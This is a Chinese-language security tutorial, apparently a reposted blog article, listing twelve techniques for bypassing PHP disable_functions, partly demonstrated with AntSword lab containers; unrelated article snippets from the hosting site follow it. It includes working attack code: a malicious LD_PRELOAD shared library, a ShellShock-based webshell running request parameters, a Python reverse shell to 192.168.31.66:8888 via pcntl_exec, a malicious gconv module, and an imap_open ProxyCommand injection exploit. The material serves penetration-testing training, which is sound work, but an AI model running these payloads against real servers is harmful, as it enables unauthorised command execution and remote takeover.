突破PHP disable_functions方法

1. 利用 LD_PRELOAD 环境变量

知识扫盲

  • LD_PRELOAD:是Linux系统的一个环境变量,它指定的*.so文件会在程序本身的*.so文件之前被加载。
  • putenv():PHP函数,可以设置环境变量
  • mail(),error_log():PHP函数,在运行时会执行系统中的程序:sendmail

思路:构造一个带命令执行的eval.os文件,让其被LD_PRELOAD加载;然后在PHP中调用mail函数或error_log函数,函数内部会执行系统的sendmail命令,sendmail会调用其他的一些系统函数;这样我们构造的eval.os就会加载并覆盖sendmail本应调用的库函数,达到命令执行的效果。

  1. 首先写eval.c:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>__attribute__ ((__constructor__)) void hausa_zui_shuai(void)
{unsetenv("LD_PRELOAD");system("echo any_other_eval_code");system("/readflag > /tmp/hausa.txt");
}

__attribute__ ((__constructor__))这个参数,它使得被自己修饰的函数在main函数前执行。

  1. 然后gcc -shared -fPIC eval.c -o eval.so将这个源文件编译成动态链接库文件,并将其上传到服务器的/tmp目录下。

  1. 网站根目录上传shell.php
<?Php
putenv("LD_PRELOAD=/tmp/eval.so");
mail("", "", "", "");
error_log("",1,"","");
?>

然后url 访问shell.php。在访问过程中,putenv()函数将我们写好的恶意动态链接库文件赋值给LD_PRELOAD环境变量,然后在调用mail()和error_log的时候,Linux会执行系统程序sendmail,但是在执行sendmail的main函数之前,会先执行我们设计好的用了__attribute__ ((__constructor__))参数修饰的恶意函数,从而导致了命令的执行。

最后在/tmp目录下,即可看到hausa.txt文件

参考:Bypass disable_function —— LD_PRELOAD-CSDN博客

利用条件

  • Linux 操作系统
  • putenv
  • mail or error_log 本例中禁用了 mail 但未禁用 error_log
  • 存在可写的目录, 需要上传 .so 文件

参考:bypass_disable_functions/1

git clone https://github.com/AntSwordProject/AntSword-Labs.git
cd AntSword-Labs/bypass_disable_functions/1
docker-compose up -d

搜索disable_functions,查看禁用函数

上传webshell后执行命令无任何显示

利用方法

加载插件

选择模式

其他默认,然后直接点击开始

运行成功后会生成两个文件

直接使用蚁剑连接.antproxy.php那个文件,密码还是原来的密码。即可执行命令了

可发现在目标机器上用 PHP 启动了一个 http server, 并且加载的是 PHP 默认配置。

2. 利用 ShellShock (CVE-2014-6271)

CVE-2014-6271,通常被称为Shellshock漏洞。影响到了许多Unix和Linux操作系统。该漏洞的影响主要集中在Bash(Bourne Again Shell)这个常用的命令行解释器上。

Shellshock漏洞的根本原因是在Bash的环境变量处理中存在一个安全漏洞,允许攻击者在环境变量中注入恶意代码,然后在系统上执行任意命令。

利用条件

  • Linux 操作系统
  • putenv
  • mail or error_log 本例中禁用了 mail 但未禁用 error_log
  • /bin/bash 存在 CVE-2014-6271 漏洞
  • /bin/sh -> /bin/bash sh 默认的 shell 是 bash

利用方法

cd AntSword-Labs/bypass_disable_functions/2
docker-compose up -d

AntSword 默认虚拟终端中已经集成了对 ShellShock 的利用,直接在打开的虚拟终端中即可执行命令

手动利用

<?phpfunction runcmd($c){$d = dirname($_SERVER["SCRIPT_FILENAME"]);
if(substr($d, 0, 1) == "/" && function_exists('putenv') && (function_exists('error_log') || function_exists('mail'))){if(strstr(readlink("/bin/sh"), "bash")!=FALSE){$tmp=tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (function_exists('error_log')) {error_log("a", 1);}else{mail("a@127.0.0.1", "", "", "-bv");}}else{print("Not vuln (not bash)\n");}$output = @file_get_contents($tmp);@unlink($tmp);if($output!=""){print($output);}else{print("No output, or not vuln.");}
}else{print("不满足使用条件");
}
}// runcmd("whoami"); // 要执行的命令
runcmd($_REQUEST["cmd"]); // ?cmd=whoami
?>

3. 利用pcntl_exec

pcntl是linux下的一个扩展,可以支持php的多线程操作。很多时候会碰到禁用exec等函数的情况,但如果运维人员安全意识不强或对PHP不甚了解,则很有可能忽略pcntl扩展的相关函数。

pcntl_exec()是pcntl插件专有的命令执行函数来执行系统命令函数,可以在当前进程空间执行指定的程序。

利用条件

  • PHP安装并启用了pcntl插件

可以通过phpinfo查看是否启用,如下如果出现 pcntl support enable则说明启用

或者如下访问test.php输出1则说明启用了pcntl_exec

<?php
if(function_exists('pcntl_exec')) {echo 1;
} else {echo 'pcntl extension is not support!';
}
?>

反弹shell

由于pcntl_exec()执行命令是没有回显的,所以其常与python结合来反弹shell。注意这里路径“/usr/bin/python3"可能不相同。访问test.php

<?php pcntl_exec("/usr/bin/python3",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("192.168.31.66",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));

反弹shell成功,可以正常执行命令

4. 利用 Apache Mod CGI

  1. CGI(Common Gateway Interface)是一种标准,允许 web 服务器调用外部程序来处理客户端的请求。通过 CGI,Web 服务器可以调用外部程序来处理特定的请求,这些程序负责生成动态的内容或执行其他服务器端任务关于CGI:
  2. mod_cgi: mod_cgi 是 Apache HTTP 服务器的一个模块,它实现了 CGI 标准,使得 Apache 能够处理和执行 CGI 脚本。这个模块允许 Apache 接收到 CGI 请求时,调用外部的 CGI 可执行文件或脚本,并将请求数据传递给这些程序。mod_cgi 会处理与 CGI 相关的环境变量和数据传递,以确保与外部程序的正确通信。

因此,mod_cgi 是 Apache 服务器上的一个模块,用于支持和处理 CGI 请求。当你在 Apache 中启用 CGI 支持时,mod_cgi 就会参与处理这些请求,将它们转发给外部程序(CGI 脚本或可执行文件)并将结果返回给客户端。

参考:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/3

利用条件

  • Linux 操作系统,unix不可以如SunOS
  • Apache + PHP
  • Apache 开启了 cgi、rewrite
  • Web 目录给了 AllowOverride 权限。AllowOverride 是 Apache 配置中的一个指令,用于确定是否允许在.htaccess文件中覆盖服务器配置。这个指令可以在 Apache 配置文件(通常是httpd.conf)中设置,也可以在虚拟主机配置中设置。
  • 当前目录可写

我们利用 AntSword-Labs 项目来搭建环境:

git clone https://github.com/AntSwordProject/AntSword-Labs.git
cd AntSword-Labs/bypass_disable_functions/3
docker-compose up -d

启动后蚁剑连接,发现无法执行命令

查看apache否启用了 CGI 模块

  1. 通过phpinfo查看

  1. 查看 Apache 配置文件

通过查看apache的配置文件,通常为 /etc/httpd/httpd.conf、/etc/apache2/apache2.conf 或类似的文件。打开搜索如下

LoadModule cgi_module modules/mod_cgi.so

如果这一行存在,说明 mod_cgi 模块已经加载,即 CGI 支持已启用。

利用方法

使用「绕过 disable_functions」插件, 选择 Apache_mod_cgi 模式进行。注意:刚点进来的时候, 左侧状态栏处都是 NO

点击「开始」按钮后,成功之后, 会创建一个新的「虚拟终端」

手动利用

创建.htaccess 和shell.ant文件,需要在其Linux环境下创建因为编码问题。

首先在当前目录创建 .htaccess 文件,写入如下。该.htaccess文件的内容指示了在该目录下启用了 CGI 执行,并将文件扩展名为.ant的文件定义为 CGI 脚本。

Options +ExecCGI
AddHandler cgi-script .ant

然后新建 shell.ant 文件,写入要执行的命令。再加上执行权限

#!/bin/sh
echo Content-type: text/html
echo ""
echo&&id

最后访问shell.ant文件便可成功执行命令

5. 通过攻击 PHP-FPM

PHP-FPM(FastCGI Process Manager)是一个用于管理 FastCGI 进程的工具,专门为 PHP 脚本设计。FastCGI 是一种常见的通信协议,允许 Web 服务器(如 Nginx 或 Apache)与外部进程(如 PHP 解释器)之间进行更高效的通信。PHP-FPM 提供了一个进程管理器,负责处理 PHP 请求,提高性能和可扩展性。

具体来说,PHP-FPM 的主要功能包括:

  1. 进程管理: PHP-FPM 可以启动、停止和管理 PHP 进程。这使得它可以动态地调整处理 PHP 请求的进程数量,以适应服务器负载的变化。
  2. 性能提升: PHP-FPM 通过保持一组 PHP 进程在内存中并重用它们,减少了每个请求的启动时间。这有助于提高 PHP 脚本的执行速度和整体性能。
  3. 资源隔离: PHP-FPM 可以为每个 PHP 进程设置独立的资源限制,包括内存和执行时间。这有助于防止某个请求消耗过多资源影响整个服务器性能。
  4. 日志记录: PHP-FPM 生成日志,记录 PHP 进程的活动,包括错误信息和性能统计。这有助于管理员监控系统并进行故障排除。

总的来说,PHP-FPM 提供了一种有效管理 PHP 进程的方式,从而提高了 PHP 脚本在 Web 服务器上的性能和可靠性。

利用条件

  • Linux 操作系统
  • 开启了PHP-FPM服务(不会默认开启,需要安装、配置再开启)
  • 存在可写的目录, 需要上传 .so 文件

查找 PHP-FPM 接口地址

PHP-FPM(FastCGI Process Manager)通常监听一个本地套接字或网络端口,以便与 Web 服务器进行通信。接口地址(socket 地址或 IP 地址+端口)在 PHP-FPM 配置文件中指定。

  1. 查看 PHP-FPM 配置文件,如下发现端口为9000

利用方法

cd AntSword-Labs/bypass_disable_functions/5
docker-compose up -d

查看phpinfo,发现目标主机配置了FPM/Fastcgi

选择PHP-FPM的接口地址后,点击开始

成功后可以看到 /var/www/html/ 目录下新建了一个 .antproxy.php 文件。连接该文件后即可执行命令

6. 利用 Json Serializer UAF

UAF漏洞(Use-After-Free)是一种内存破坏漏洞,漏洞成因是一块堆内存被释放了之后又被使用。漏洞利用了 json 在序列化中的堆溢出触发 bypass

利用条件

  • Linux 操作系统
  • PHP 版本需满足:
    • 7.1 - all versions to date
    • 7.2 < 7.2.19 (released: 30 May 2019)
    • 7.3 < 7.3.6 (released: 30 May 2019)

UAF 一次可能不成功,需要多次尝试。

利用方法

cd AntSword-Labs/bypass_disable_functions/6
docker-compose up -d

查看php版本为7.2.18

选择 Json Serializer UAF 模式进行

7. 利用 GC UAF

漏洞利用的是 php garbage collector(垃圾收集器)程序中的堆溢出达成 bypass

利用条件

  • Linux 操作系统
  • PHP 版本
    • 7.0 - all versions to date
    • 7.1 - all versions to date
    • 7.2 - all versions to date
    • 7.3 - all versions to date

利用方法

cd AntSword-Labs/bypass_disable_functions/7
docker-compose up -d

查看php版本为7.2.18

选择 Json Serializer UAF 模式进行

8. 利用 FFI 扩展

PHP 7.4 的 FFI(Foreign Function Interface),即外部函数接口,允许用户在PHP代码中去调用C代码。

首先我们使用 FFI::cdef() 函数在PHP中声明一个我们要调用的这个C库中的函数以及使用到的数据类型,类似如下:

$ffi = FFI::cdef("int system(char* command);");   # 声明C语言中的system函数

这将返回一个新创建的FFI对象,然后使用以下方法即可调用这个对象中所声明的函数:

$ffi ->system("ls / > /tmp/res.txt");   # 执行ls /命令并将结果写入/tmp/res.txt

利用条件

  • Linux 操作系统
  • PHP >= 7.4
  • 开启了 FFI 扩展且 ffi.enable=On
cd AntSword-Labs/bypass_disable_functions/8
docker-compose up -d

php版本大于等于7.4

FFI扩展开启,所以可以尝试利用此方法

利用方法

选择 PHP74_FFI 模式进行

9. 利用iconv

利用条件

  • Linux 操作系统
  • putenv
  • iconv启用。PHP 中用于进行字符集转换的函数
  • 存在可写的目录, 需要上传 .so 文件
cd AntSword-Labs/bypass_disable_functions/9
docker-compose up -d

iconv函数 是 PHP 标准库的一部分,通常是默认启用的。也有可能被禁用

发现icon启用了

利用原理

PHP在执行iconv()函数时实际调用了glibc中一些和iconv相关的函数,其中一个叫iconv_open()的函数会根据GCONV_PATH环境变量找到系统的gconv-modules文件,再根据gconv-modules文件找到对应的.so文件进行链接。然后会调用.so文件中的gconv()和gonv_init()函数。如果我们能修改GCONV_PATH环境变量指向我们编写的gconv-modules文件,则可以使得PHP加载我们上传的恶意的动态链接库,然后绕过禁用函数执行命令。

需要在/tmp目录下上传一个gconv-modules文件,在其中写入如下内容:

module  自定义字符集名(大写)//    INTERNAL    ../../../../../../../../tmp/自定义字符集名(小写)    2
module  INTERNAL    自定义字符集名(大写)//    ../../../../../../../../tmp/自定义字符集名(小写)    2

在iconv.c中写入下面的C代码

#include <stdio.h>
#include <stdlib.h>void gconv() {}void gconv_init() {system("whoami > /tmp/result");
}

生成动态链接库payload.so:

gcc -shared -fPIC iconv.cpp -o 自定义字符集名.so

执行PHP代码:

<?phpputenv("GCONV_PATH=/tmp/");iconv("自定义字符集名", "UTF-8", "whatever");
?>

然后可以在/tmp/result下看到命令执行的结果

利用方法

使用iconv插件bypass

成功后连接/.antproxy.php即可执行命令

也不仅仅是iconv函数,还有其他的编码转换的方式也能触发iconv_open()函数,例如在蚁剑的插件源码里就有4种通过iconv绕过禁用函数的方式

if(function_exists('iconv')){iconv("payload","UTF-8","whatever");
}else if(function_exists('iconv_strlen')){iconv_strlen("1","payload");
}else if(function_exists('file_get_contents')){@file_get_contents("php://filter/convert.iconv.payload.UTF-8/resource=data://text/plain;base64,MQ==");
}else{@fopen('php://filter/convert.iconv.payload.UTF-8/resource=data://text/plain;base64,MQ==','r');
};

10. 利用ImageMagick 漏洞绕过(CVE-2016–3714)

imagemagick是一个用于处理图片的程序,它可以读取、转换、写入多种格式的图片。图片切割、颜色替换、各种效果的应用,图片的旋转、组合,文本,直线,多边形,椭圆,曲线,附加到图片伸展旋转。

利用ImageMagick绕过disable_functions的方法利用的是ImageMagick的一个漏洞(CVE-2016-3714)。漏洞的利用过程非常简单,只要将精心构造的图片上传至使用漏洞版本的ImageMagick,ImageMagick会自动对其格式进行转换,转换过程中就会执行攻击者插入在图片中的命令。因此很多具有头像上传、图片转换、图片编辑等具备图片上传功能的网站都可能会中招。所以如果在phpinfo中看到有这个ImageMagick,可以尝试一下。

利用条件

  • 目标主机安装并开启了ImageMagick拓展(版本需<= 3.3.0)
  • 安装了php-imagick拓展并在php.ini中启用;
  • PHP >= 5.4

利用方法

使用网上已有的docker镜像来搭建环境:

docker pull medicean/vulapps:i_imagemagick_1
docker run -d -p 8000:80 --name=i_imagemagick_1 medicean/vulapps:i_imagemagick_1

访问phpinfo.php,发现开启了imagemagick服务。并且版本为3.3.0

参考:bypass disable_functions姿势总结 - 先知社区、bypass disable_functions姿势总结 - 先知社区

11. 利用imap_open()绕过

利用条件需要安装iamp扩展,命令行输入:apt-get install php-imap

在php.ini中开启imap.enable_insecure_rsh选项为On;重启服务。

PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。

exp:

<?php 
error_reporting(0); 
if (!function_exists('imap_open')) { 
die("no imap_open function!"); 
} 
$server = "x -oProxyCommand=echot" . base64_encode($_GET['cmd'] .
">/tmp/cmd_result") . "|base64t-d|sh}"; 
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] .
">/tmp/cmd_result") . '|base64$IFS$()-d|sh}'; 
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or
var_dump("nnError: ".imap_last_error()); 
sleep(5); 
echo file_get_contents("/tmp/cmd_result"); 
?>

12. 利用 SplDoublyLinkedList UAC

PHP的SplDoublyLinkedList双向链表库中存在一个用后释放漏洞,该漏洞将允许攻击者通过运行PHP代码来转义disable_functions限制函数。在该漏洞的帮助下,远程攻击者将能够实现PHP沙箱逃逸,并执行任意代码。更准确地来说,成功利用该漏洞后,攻击者将能够绕过PHP的某些限制,例如disable_functions和safe_mode等等。

参考:奇安信攻防社区-常见 Bypass Disable Functions 的方法总结

参考:

  • https://www.cnblogs.com/one-seven/p/15194350.html
  • PHP禁用函数绕过 | e4stjun's blog
  • https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/9

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/578418.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Tekton

一. 概念 Tekton 官网 Github Tekton 是一种用于构建 CI/CD 管道的云原生解决方案&#xff0c;它由提供构建块的 Tekton Pipelines&#xff0c;Tekton 作为 Kubernetes 集群上的扩展安装和运行&#xff0c;包含一组 Kubernetes 自定义资源&#xff0c;这些资源定义了您可以为…

redis-连接数占满解决

作者 马文斌 时间 2023-12-12 标签 redis 连接风暴 连接数占满 背景 近期有redis 数据库连不上&#xff0c;起初以为是redis的连接数满了&#xff0c;排查到后面发现问题不简单啊&#xff0c;下面看看具体的排查过程。 连不上的原有有哪些 密码不对 网络不好,丢包 原来…

Openstack开启虚拟化嵌套

好久没写东西了&#xff0c;前两天我准备在虚机上装一个vmware 的虚机&#xff0c;结果失败了&#xff0c;提示如下&#xff0c;由于我是虚机上安装虚机&#xff0c;我的宿主机肯定是开启了vt-x和vt-d的 查了一些资料&#xff0c;这个需要打开nested,先看看nested返回是否为Y&a…

Unity向量按照某一点进行旋转

Unity向量按照某一点进行旋转 一、unity的旋转二、向量按照原点进行旋转注意案例 三、向量按照指定位置进行旋转案例 一、unity的旋转 首先要知道一点就是在Unity的旋转中使用过四元数进行旋转的&#xff0c;如果对一个物体的rotation直接赋值你会发现结果不是你最终想要的结果…

迎新辞旧,欢度元旦

迎新辞旧&#xff0c;欢度元旦 新年钟声即将敲响&#xff0c;欢度元旦的时刻即将来临。在这个美好的时刻&#xff0c;我们纷纷辞旧迎新&#xff0c;放飞自我追逐梦想的翅膀。让羊大师带大家一起来庆祝新年的到来&#xff0c;共同创造美好的开始&#xff01; 一、迎新辞旧&…

希尔排序详解(C语言)

前言 希尔排序是一种基于插入排序的快速排序算法。所以如果还会插入排序的小伙伴可以点击链接学习一下插入排序&#xff08;点我点我&#xff01;&#xff09; &#xff0c;相较于插入排序&#xff0c;希尔排序拥有更高的效率&#xff0c;小伙伴们肯定已经迫不及待学习了吧&…

OPNET Modeler帮助文档的打开方式

前面有篇文章修改OPNET帮助文档的默认打开浏览器 & 给Edge浏览器配置IE Tab插件已经提到了打开OPNET Modeler打开帮助文档的方法&#xff0c;有时候打开时会显示如下。 界面中没有什么内容加载出来&#xff01;我是在Google浏览器中打开的&#xff0c;其他的浏览器也是一样…

10000个jpg图片文件如何按数量放在20个文件夹中的方法

日常工作中在处理大量文件时&#xff0c;如何有效地将它们分类和管理变得至关重要。在这种情况下&#xff0c;有10000个jpg图片&#xff0c;要如何把它们按数量放在20个文件夹&#xff0c;如何避免手动操作呢&#xff1f;现在一起来看看云炫文件管理器批量移动文件的具体操作吧…

智慧燃气为 “ 城市生命线 ” 打造“看得见”的安全

关键词&#xff1a;智慧燃气、智慧燃气平台、智慧燃气管网、燃气数字化、智慧燃气系统、智慧燃气解决方案 近年来&#xff0c;随着互联网技术、物联网技术、大数据、云计算技术的飞速发展&#xff0c;“互联网”已成为重要的国家战略&#xff0c;各行业都在寻求智能化转型之路…

flowable任务分配方式篇动态部门经理:固定分配、表达式分配、监听器分配

这里写自定义目录标题 1、固定分配2、表达式分配在此流程部署了之后&#xff0c;在流程定义信息表中可以看到此流程的相关信息启动流程查看我们设置的变量在task表中&#xff0c;可以看到当前分配人是张三&#xff0c;说明值表达式被解析了 完成任务在张三完成任务之后&#xf…

为什么pmp证书只能对标cspm二级证书?

拿PMP认证可以直接认证CSPM&#xff1f;快来看看你符合哪个等级&#xff01; PMP认证大家了解的可能比较多&#xff0c;它推出的时间较长&#xff0c;并且仅在国内拿到认证的人数也与日俱增。而CSPM相对来说大家就比较陌生了&#xff0c;它是哪些部门发起的&#xff0c;有什么用…

云渲染UE4像素流送搭建(winows、ubuntu单实例与多实例像素流送)

windows/ubuntu20.4下UE4.27.2像素流送 像素流送技术可以将服务器端打包的虚幻引擎应用程序在客户端的浏览器上运行&#xff0c;用户可以通过浏览器操作虚幻引擎应用程序&#xff0c;客户端无需下载虚幻引擎&#xff0c;本文实现两台机器通过物理介质网线实现虚幻引擎应用程序…

【小白专用】C# 压缩文件 ICSharpCode.SharpZipLib.dll效果:

插件描述&#xff1a; ICSharpCode.SharpZipLib.dll 是一个完全由c#编写的Zip, GZip、Tar 、 BZip2 类库,可以方便地支持这几种格式的压缩解压缩, SharpZipLib 的许可是经过修改的GPL&#xff0c;底线是允许用在不开源商业软件中&#xff0c;意思就是免费使用。具体可访问ICSha…

图片素材管理软件Eagle for mac提高素材整理维度

Eagle for mac是一款图片素材管理软件&#xff0c;支持藏网页图片&#xff0c;网页截屏&#xff0c;屏幕截图和标注&#xff0c;自动标签和筛选等功能&#xff0c;让你设计师方便存储需要的素材和查找&#xff0c;提供工作效率。 Eagle mac软件介绍 Eagle mac帮助你成为更好、…

比宜德停业,奥乐齐死磕,硬折扣该怎样长硬不衰?

作者 | 楚文龙 来源 | 洞见新研社 刚刚过去的周末&#xff0c;让零售行业的从业者神经紧绷。因为&#xff0c;12月23日多个信源曝出&#xff0c;社区硬折扣超市比宜德已公告于12月22日起暂停营业。 作为中国第一家&#xff0c;也是唯一一家规模最大的硬折扣社区连锁店零售商&…

计算机视觉五大技术

目前&#xff0c;计算机视觉是深度学习领域最热门的研究领域之一。计算机视觉实际上是一个跨领域的交叉学科&#xff0c;包括计算机科学&#xff08;图形、算法、理论、系统、体系结构&#xff09;&#xff0c;数学&#xff08;信息检索、机器学习&#xff09;&#xff0c;工程…

ERP系统的优缺点有哪些?

企业在考虑引进ERP系统时总是比较谨慎的&#xff0c;毕竟&#xff0c;ERP关乎着企业的整体运营和未来发展。因此&#xff0c;选择适合的ERP系统对企业未来的成功至关重要。要全面评估&#xff0c;看看它到底能给企业带来啥好处&#xff0c;又可能会有啥风险。 看完这篇回答&am…

如何进行块存储管理

目录 块存储概念 块存储&#xff08;云盘&#xff09;扩容 方式一&#xff1a;直接扩容现有云盘 方式二&#xff1a;创建一块新数据盘 方式三&#xff1a;在更换操作系统时&#xff0c;同时更换系统盘 块存储&#xff08;云盘&#xff09;变配 云盘变配操作步骤 块存储概…

【Web】Ctfshow Thinkphp3.2.3代码审计(3)

web574 这题与web573的区别在于进find()前先进了where()处理 跟进where() 我们假设传个1&#xff0c;和id拼接 发现会进到is_string的判断里&#xff0c;让$options[where]array("_string">"1") 之后传入到find()&#xff0c;和web573一样也是以数组…

因吹斯汀!只需上传照片,GPT-4V精准识别食物的卡路里和摄入热量

健身和减肥的朋友有福啦&#xff01; 最近一篇文章探索了GPT-4V在膳食评估领域的强大能力&#xff0c;可以根据饮食图片精准判断食物的种类与重量&#xff0c;并给出营养成分的分析&#xff0c;包括碳水化合物、蛋白质、脂肪占比。 最最重要的是&#xff0c;它还能告诉我们这…